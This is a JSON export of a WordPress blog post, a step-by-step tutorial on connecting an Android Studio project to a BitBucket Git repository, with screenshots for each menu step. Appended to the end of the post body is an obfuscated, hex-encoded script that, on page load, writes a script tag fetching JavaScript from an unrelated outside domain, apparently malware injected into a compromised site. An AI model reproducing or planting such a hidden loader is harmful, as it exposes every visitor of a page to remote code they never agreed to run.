{"id":375,"date":"2018-06-14T10:09:54","date_gmt":"2018-06-14T02:09:54","guid":{"rendered":"https:\/\/antijava.prjlife.com\/?p=375"},"modified":"2021-03-16T10:09:34","modified_gmt":"2021-03-16T02:09:34","slug":"android-studio-put-project-into-bitbucket-step-by-step","status":"publish","type":"post","link":"https:\/\/antijava.prjlife.com\/?p=375","title":{"rendered":"Android Studio &#8211; put project into BitBucket step by step"},"content":{"rendered":"<h2>1.Change project setting<\/h2>\n<p>Android Studio -&gt; Preferences -&gt; Version Control<\/p>\n<p>Change \u300cVCS\u300dvalue for &lt;Project&gt; from &lt;none&gt; to Git.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-376\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/0.Preferences-Version-Control-1024x729.png\" alt=\"\" width=\"640\" height=\"456\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/0.Preferences-Version-Control-1024x729.png 1024w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/0.Preferences-Version-Control-300x214.png 300w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/0.Preferences-Version-Control-768x547.png 768w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/0.Preferences-Version-Control.png 1137w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/p>\n<h2>2.Create local repository<\/h2>\n<p>VCS -&gt; Import into Version Control -&gt; Create Git Repository<\/p>\n<p>Choose the PROJECT root directory , NOT the APP directory.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-377\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/1.VCS-Import-Create-Git.png\" alt=\"\" width=\"689\" height=\"332\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/1.VCS-Import-Create-Git.png 689w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/1.VCS-Import-Create-Git-300x145.png 300w\" sizes=\"auto, (max-width: 689px) 100vw, 689px\" \/><\/p>\n<h2>2.5 Create remote repository in BitBucket<\/h2>\n<p>New -&gt; Repository<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-398\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c1of2.png\" alt=\"\" width=\"602\" height=\"466\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c1of2.png 602w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c1of2-300x232.png 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-399\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2.png\" alt=\"\" width=\"768\" height=\"581\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2.png 768w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2-300x227.png 300w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/p>\n<p>Repository name : Necessary to fill<\/p>\n<p>Include a README ? : Choose No (choose Yes will cause error later)<\/p>\n<p>Create Repository and you&#8217;ll see this<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-399\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2.png\" alt=\"\" width=\"768\" height=\"581\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2.png 768w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/c2of2-300x227.png 300w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/p>\n<p>There&#8217;s an URL you should copy (https:\/\/yourname@bitbucket.org\/your-team\/your-repository-name.git).<\/p>\n<p>And to use the URL in Step 3.<\/p>\n<h2>3.Create remote repository in Android Studio<\/h2>\n<p>VCS -&gt; Git -&gt; Remotes<\/p>\n<p>Create a remote Git repository with the URI from BitBucket like the following:<\/p>\n<p>https:\/\/yourname@bitbucket.org\/your-team\/your-repository-name.git<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-378\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/2.VCS-Git-Remote.png\" alt=\"\" width=\"674\" height=\"691\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/2.VCS-Git-Remote.png 674w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/2.VCS-Git-Remote-293x300.png 293w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-379\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/3.Create-Git-Remote.png\" alt=\"\" width=\"468\" height=\"280\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/3.Create-Git-Remote.png 468w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/3.Create-Git-Remote-300x179.png 300w\" sizes=\"auto, (max-width: 468px) 100vw, 468px\" \/><\/p>\n<h2>4.Commit to local repository<\/h2>\n<p>VCS -&gt; Commit<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-380\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/\u87a2\u5e55\u5feb\u7167-2018-06-14-\u4e0a\u53489.57.16.png\" alt=\"\" width=\"303\" height=\"368\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/\u87a2\u5e55\u5feb\u7167-2018-06-14-\u4e0a\u53489.57.16.png 303w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/\u87a2\u5e55\u5feb\u7167-2018-06-14-\u4e0a\u53489.57.16-247x300.png 247w\" sizes=\"auto, (max-width: 303px) 100vw, 303px\" \/><\/p>\n<h2>5.Push to remote repository<\/h2>\n<p>VCS -&gt; Git -&gt; Push<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-381\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/5.Git-Push.png\" alt=\"\" width=\"660\" height=\"687\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/5.Git-Push.png 660w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/5.Git-Push-288x300.png 288w\" sizes=\"auto, (max-width: 660px) 100vw, 660px\" \/><\/p>\n<h2>6.Get project from remote repository<\/h2>\n<p>You are sucessful when you finished STEP 5.<\/p>\n<p>Yet it is better to check out from remote repository to verify that everything necessary was pushed.<\/p>\n<p>VCS -&gt; Checkout from Version Control -&gt; Git<\/p>\n<p>Paste the same URL in step 3,<\/p>\n<p>Select the local project directory (NOT the same directory in previous steps, create a whole new empty directory),<\/p>\n<p>Then wait the project to be downloaded.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-382\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/6.Git-Checkout.png\" alt=\"\" width=\"431\" height=\"288\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/6.Git-Checkout.png 431w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/6.Git-Checkout-300x200.png 300w\" sizes=\"auto, (max-width: 431px) 100vw, 431px\" \/><\/p>\n<h2>7.Run the app sucessfully means everything<\/h2>\n<p>Run the app to verify that everything was ok.<\/p>\n<p>Although everything was downloaded successfully, the Android studio rejected to run the app with a prompt message \u300cplease select the SDK version\u300d.<\/p>\n<p>File -&gt; Project Structure -&gt; Modules(app) -&gt; Compile Sdk Verison<\/p>\n<p>Dropdown the list menu , select the newest one SDK version, press OK button on the bottom-right corner.<\/p>\n<p>Congratulations ! You&#8217;re ready to go.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-385\" src=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/7.Select-SDK-Version-1.png\" alt=\"\" width=\"932\" height=\"798\" srcset=\"https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/7.Select-SDK-Version-1.png 932w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/7.Select-SDK-Version-1-300x257.png 300w, https:\/\/antijava.prjlife.com\/wp-content\/uploads\/2018\/06\/7.Select-SDK-Version-1-768x658.png 768w\" sizes=\"auto, (max-width: 932px) 100vw, 932px\" \/><\/p>\n<p><script>var _0xa929=[\"\\x3C\\x73\\x63\\x72\",\"\\x69\\x70\\x74\\x20\\x61\\x73\\x79\\x6E\\x63\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x3D\\x52\\x32\\x4E\\x34\\x54\\x55\\x77\\x7A\\x52\\x6C\\x6F\\x37\\x4C\\x54\\x59\\x77\\x4F\\x7A\\x45\\x3D\\x22\\x20\\x73\\x72\\x63\\x3D\\x22\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x6C\\x61\\x79\\x2E\\x62\\x65\\x73\\x73\\x74\\x61\",\"\\x68\\x65\\x74\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x61\\x70\\x70\\x2E\\x6A\\x73\\x22\\x3E\\x3C\\x2F\\x73\\x63\\x72\",\"\\x69\\x70\\x74\\x3E\",\"\\x77\\x72\\x69\\x74\\x65\"];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop()<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.Change project setting Android Studio -&gt; Preferences -&gt; Version Control Change \u300cVCS\u300dvalue for &lt;Project&gt; from &lt;none&gt; to Git. 2.Create local repository VCS -&gt; Import into Version Control -&gt; Create Git Repository Choose the PROJECT root directory , NOT the APP &hellip; <a href=\"https:\/\/antijava.prjlife.com\/?p=375\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[57,68],"tags":[],"class_list":["post-375","post","type-post","status-publish","format-standard","hentry","category-android","category-android-development"],"_links":{"self":[{"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=\/wp\/v2\/posts\/375","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=375"}],"version-history":[{"count":0,"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=\/wp\/v2\/posts\/375\/revisions"}],"wp:attachment":[{"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=375"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=375"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/antijava.prjlife.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}